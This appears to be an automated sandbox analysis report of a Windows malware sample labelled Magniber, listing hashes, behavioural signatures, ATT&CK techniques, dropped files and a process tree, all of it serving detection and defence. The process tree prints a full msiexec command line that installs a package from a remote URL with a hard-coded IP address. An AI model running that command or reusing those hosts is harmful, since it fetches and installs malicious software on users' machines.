f5b7ba3ad2746e630ecb4e2e3eaabdab723c65cd66dc2b36facf8deb759efe7e

Analysis

max time kernel
96s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04/09/2024, 08:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe
Size

1.4MB
MD5

5bda47776fbb3fd75381ba39f13a8730
SHA1

45a43471411c468299fdc7023d27241c24c15ba0
SHA256

f5b7ba3ad2746e630ecb4e2e3eaabdab723c65cd66dc2b36facf8deb759efe7e
SHA512

76dc7b1bf46c597e42e6a582c31d8847893a7d435a52cb76c03f801daca5b54d9f117c1af2222e5ba2cfd76751f86775fabe26e02cb5e31b9ef858177214eea3
SSDEEP

24576:NaQwqxtAiTEGauy6RNOlounn5IsHyU3MpXGkxH0Kae0cUlgEcbqYtJAMS:NarqBVyYNe5IsSUOt7ae0blgNqYtaMS

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2096	~sloxjjfld4.tmp

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
5116	MSIEXEC.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~sloxjjfld4.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIEXEC.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5116	MSIEXEC.EXE
Token: SeIncreaseQuotaPrivilege	5116	MSIEXEC.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5116	MSIEXEC.EXE
5116	MSIEXEC.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 2096	2656	2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe	83
PID 2656 wrote to memory of 2096	2656	2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe	83
PID 2656 wrote to memory of 2096	2656	2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe	83
PID 2096 wrote to memory of 5116	2096	~sloxjjfld4.tmp	91
PID 2096 wrote to memory of 5116	2096	~sloxjjfld4.tmp	91
PID 2096 wrote to memory of 5116	2096	~sloxjjfld4.tmp	91

C:\Users\Admin\AppData\Local\Temp\2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-04_5bda47776fbb3fd75381ba39f13a8730_magniber.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Users\Admin\AppData\Local\Temp\~sloxjjfld4.tmp
  "C:\Users\Admin\AppData\Local\Temp\~sloxjjfld4.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\SysWOW64\MSIEXEC.EXE
    MSIEXEC.EXE /i "http://pliuht.cdnpckgs.eu/client/pkgs/plentyjackpot/Plenty Jackpot20151127035411.msi" DDC_DID=1711720 DDC_RTGURL=http://www.filesrvr.eu/dl/TrackSetup/TrackSetup.aspx?DID=1711720 DDC_UPDATESTATUSURL=http://190.4.88.51:8080/plentyjack/Lobby.WebServices/Installer.asmx DDC_SIGNUPURL=http://190.4.88.51:8080/plentyjack/Lobby.WebSite/SignUpUnsecure.aspx SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~sloxjjfld4.tmp"
    3⤵
    - Use of msiexec (install) with remote resource
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:5116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_isDF88.tmp

Filesize
1KB

MD5
40b8beefdecdabd3fd05bdc498dd558e

SHA1
47e26f9b8fbf0d4368fa628452d96b8a6ea16da1

SHA256
e354dee94bc06a5b4823e4de911016bbfd149d41baf332b1411bfa4354e437f6

SHA512
1d86057ce26250cddbd461876c9677e5c7de2830967c5baa0ba38f37a28c2136aa535a51ae8c4db0ec4a5708d863bef588d749ead65ee9f6615a87ce04a32312

Download Submit
C:\Users\Admin\AppData\Local\Temp\{8D8D486C-01B1-452F-BBF2-7C767931AF8E}\0x0409.ini

Filesize
21KB

MD5
be345d0260ae12c5f2f337b17e07c217

SHA1
0976ba0982fe34f1c35a0974f6178e15c238ed7b

SHA256
e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3

SHA512
77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff

Download Submit
C:\Users\Admin\AppData\Local\Temp\{8D8D486C-01B1-452F-BBF2-7C767931AF8E}\_ISMSIDEL.INI

Filesize
20B

MD5
db9af7503f195df96593ac42d5519075

SHA1
1b487531bad10f77750b8a50aca48593379e5f56

SHA256
0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13

SHA512
6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\~DF75.tmp

Filesize
5KB

MD5
c1cc15e6fa6fff1b9b1448fbd32eed29

SHA1
bb4789c28414ca5a2aa75801e6b023d2387fa894

SHA256
0deab8a36966ff66031680f85624d7953526eacc287477c8cd2e7be6a9b3dda4

SHA512
a697e5fd0c965605bb21ee282293da097754cd7b00707dd7409f04c7a54c87758bc4efe99412d92247ccbd86eb908c96eda36a15a481a968e9dff49e6737a028

Download Submit
C:\Users\Admin\AppData\Local\Temp\~sloxjjfld4.tmp

Filesize
1.2MB

MD5
377d7bd283cc1ff73cbf319a5e1930ce

SHA1
c0e9e220c9b6e402e7567fc04b00f5a7ee3fa952

SHA256
64ec521002c190769a250950b096adeaae5f94095bafbd2e8c5242e567c3277b

SHA512
623994c1d0681363a8c9f61da54f37fd9b14f6effa8e17d985474e8965dde4f45073c7d593d155195dcbbdba915de362fb4d2538529413dd6a527173b9bd70e0

Download Submit